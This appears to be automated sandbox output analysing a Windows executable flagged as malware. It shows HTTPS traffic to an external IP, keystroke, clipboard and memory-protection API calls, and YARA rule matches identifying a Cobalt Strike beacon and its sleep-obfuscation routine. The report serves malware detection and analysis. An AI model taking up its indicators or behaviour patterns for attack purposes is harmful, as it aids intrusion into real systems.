Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 89.150.57.46:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.150.57.46:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.150.57.46:443 -> 192.168.2.6:49748 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_0000000140145214 SrcHashImpl::SrcHashImpl,CreateCompatibleDC,CreateCompatibleBitmap,FillRect,OpenClipboard,EmptyClipboard,CloseClipboard,SetClipboardData,CloseClipboard,

0_2_0000000140145214

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_0000000140158178 GetAsyncKeyState,

0_2_0000000140158178

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400B4288 GetKeyState,GetKeyState,GetKeyState,GetParent,GetParent,SendMessageW,ScreenToClient,GetCursorPos,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetWindowPos,SendMessageW,SendMessageW,GetParent,		0_2_00000001400B4288
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013D824 GetKeyState,GetKeyState,GetKeyState,		0_2_000000014013D824

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon sleep obfuscation routine Author: unknown
Source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon sleep obfuscation routine Author: unknown
Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon sleep obfuscation routine Author: unknown
Source: 00000000.00000002.3315812932.00000000020A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: Process Memory Space: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe PID: 6516, type: MEMORYSTR	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_3_01FC0020 NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtProtectVirtualMemory,

0_3_01FC0020

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_3_01FC11E0	0_3_01FC11E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_3_01FC47C9	0_3_01FC47C9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_3_01FC6A45	0_3_01FC6A45
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400757A8	0_2_00000001400757A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140093FEC	0_2_0000000140093FEC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401AC024	0_2_00000001401AC024
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014016009C	0_2_000000014016009C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140054158	0_2_0000000140054158
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013C149	0_2_000000014013C149
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401741F8	0_2_00000001401741F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401781F4	0_2_00000001401781F4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400BC26C	0_2_00000001400BC26C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400FC280	0_2_00000001400FC280
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400B4288	0_2_00000001400B4288
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400802B4	0_2_00000001400802B4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014015C2D8	0_2_000000014015C2D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014018C36C	0_2_000000014018C36C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140158370	0_2_0000000140158370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140084568	0_2_0000000140084568
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400C0564	0_2_00000001400C0564
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400F8588	0_2_00000001400F8588
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014012C5C0	0_2_000000014012C5C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401EC608	0_2_00000001401EC608
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400686C8	0_2_00000001400686C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401E06F0	0_2_00000001401E06F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140150750	0_2_0000000140150750
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140004770	0_2_0000000140004770
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400B0920	0_2_00000001400B0920
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014006C940	0_2_000000014006C940
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140080934	0_2_0000000140080934
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401809A0	0_2_00000001401809A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014007CA78	0_2_000000014007CA78
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014012CA64	0_2_000000014012CA64
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140134A90	0_2_0000000140134A90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140064AE8	0_2_0000000140064AE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140188B30	0_2_0000000140188B30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140034B58	0_2_0000000140034B58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140024B70	0_2_0000000140024B70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140170B9C	0_2_0000000140170B9C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014002CBA0	0_2_000000014002CBA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400ACC78	0_2_00000001400ACC78
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400B8CF8	0_2_00000001400B8CF8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401FCD94	0_2_00000001401FCD94
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014014CD9C	0_2_000000014014CD9C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014005CE14	0_2_000000014005CE14
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401E0E78	0_2_00000001401E0E78
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014009CE9C	0_2_000000014009CE9C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140044F68	0_2_0000000140044F68
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401E0F98	0_2_00000001401E0F98
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400A8FBC	0_2_00000001400A8FBC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140114FEC	0_2_0000000140114FEC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401D502C	0_2_00000001401D502C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014008D14C	0_2_000000014008D14C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400D5218	0_2_00000001400D5218
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140095274	0_2_0000000140095274
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400E5288	0_2_00000001400E5288
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401D52C4	0_2_00000001401D52C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401752E8	0_2_00000001401752E8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014016D354	0_2_000000014016D354
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400A137C	0_2_00000001400A137C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014009937C	0_2_000000014009937C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400D1378	0_2_00000001400D1378
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140185460	0_2_0000000140185460
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014005145C	0_2_000000014005145C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014006D4C8	0_2_000000014006D4C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401254FC	0_2_00000001401254FC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400CD508	0_2_00000001400CD508
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401D5538	0_2_00000001401D5538
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401F1530	0_2_00000001401F1530
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400DD6AC	0_2_00000001400DD6AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401416C0	0_2_00000001401416C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014010D6C0	0_2_000000014010D6C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014004D7BC	0_2_000000014004D7BC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140115850	0_2_0000000140115850
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400FD888	0_2_00000001400FD888
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400C1910	0_2_00000001400C1910
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400B5974	0_2_00000001400B5974
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140151994	0_2_0000000140151994
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014012DA14	0_2_000000014012DA14
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013DA6C	0_2_000000014013DA6C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014014DB20	0_2_000000014014DB20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401D5B10	0_2_00000001401D5B10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401CDB40	0_2_00000001401CDB40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140135B30	0_2_0000000140135B30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140119B58	0_2_0000000140119B58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400D1B84	0_2_00000001400D1B84
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400A1C28	0_2_00000001400A1C28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014016DC24	0_2_000000014016DC24
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140105C80	0_2_0000000140105C80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140081C80	0_2_0000000140081C80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400F5CA8	0_2_00000001400F5CA8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140049CC4	0_2_0000000140049CC4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140109D40	0_2_0000000140109D40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140065D58	0_2_0000000140065D58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014015DD64	0_2_000000014015DD64
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400F5DE0	0_2_00000001400F5DE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140139F28	0_2_0000000140139F28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140185F48	0_2_0000000140185F48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140051F98	0_2_0000000140051F98
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140159F88	0_2_0000000140159F88
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140112058	0_2_0000000140112058
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140162048	0_2_0000000140162048
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014004A11C	0_2_000000014004A11C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140152154	0_2_0000000140152154
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400C21A1	0_2_00000001400C21A1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400BA1CC	0_2_00000001400BA1CC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400621E4	0_2_00000001400621E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014015E200	0_2_000000014015E200
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014008229C	0_2_000000014008229C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014014A2E4	0_2_000000014014A2E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401DE314	0_2_00000001401DE314
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014016E3B0	0_2_000000014016E3B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140126490	0_2_0000000140126490
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140132500	0_2_0000000140132500
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401724E8	0_2_00000001401724E8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400F6550	0_2_00000001400F6550
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401FE5AC	0_2_00000001401FE5AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400B65E4	0_2_00000001400B65E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140096610	0_2_0000000140096610
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013E6C0	0_2_000000014013E6C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400CA6EC	0_2_00000001400CA6EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401A2710	0_2_00000001401A2710
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400C271C	0_2_00000001400C271C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014016A774	0_2_000000014016A774
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400E67A4	0_2_00000001400E67A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400927C8	0_2_00000001400927C8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401DE848	0_2_00000001401DE848
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140156870	0_2_0000000140156870
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014006288C	0_2_000000014006288C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001401AA8BC	0_2_00000001401AA8BC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014005A8E4	0_2_000000014005A8E4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140116954	0_2_0000000140116954
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400D29D8	0_2_00000001400D29D8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: String function: 0000000140200750 appears 186 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: String function: 000000014003443C appears 45 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: String function: 00000001400064B0 appears 41 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: String function: 000000014002C650 appears 79 times

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSBCommandLineScanner.exeJ vs SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Binary or memory string: OriginalFilenameSBCommandLineScanner.exeJ vs SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Source: 0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
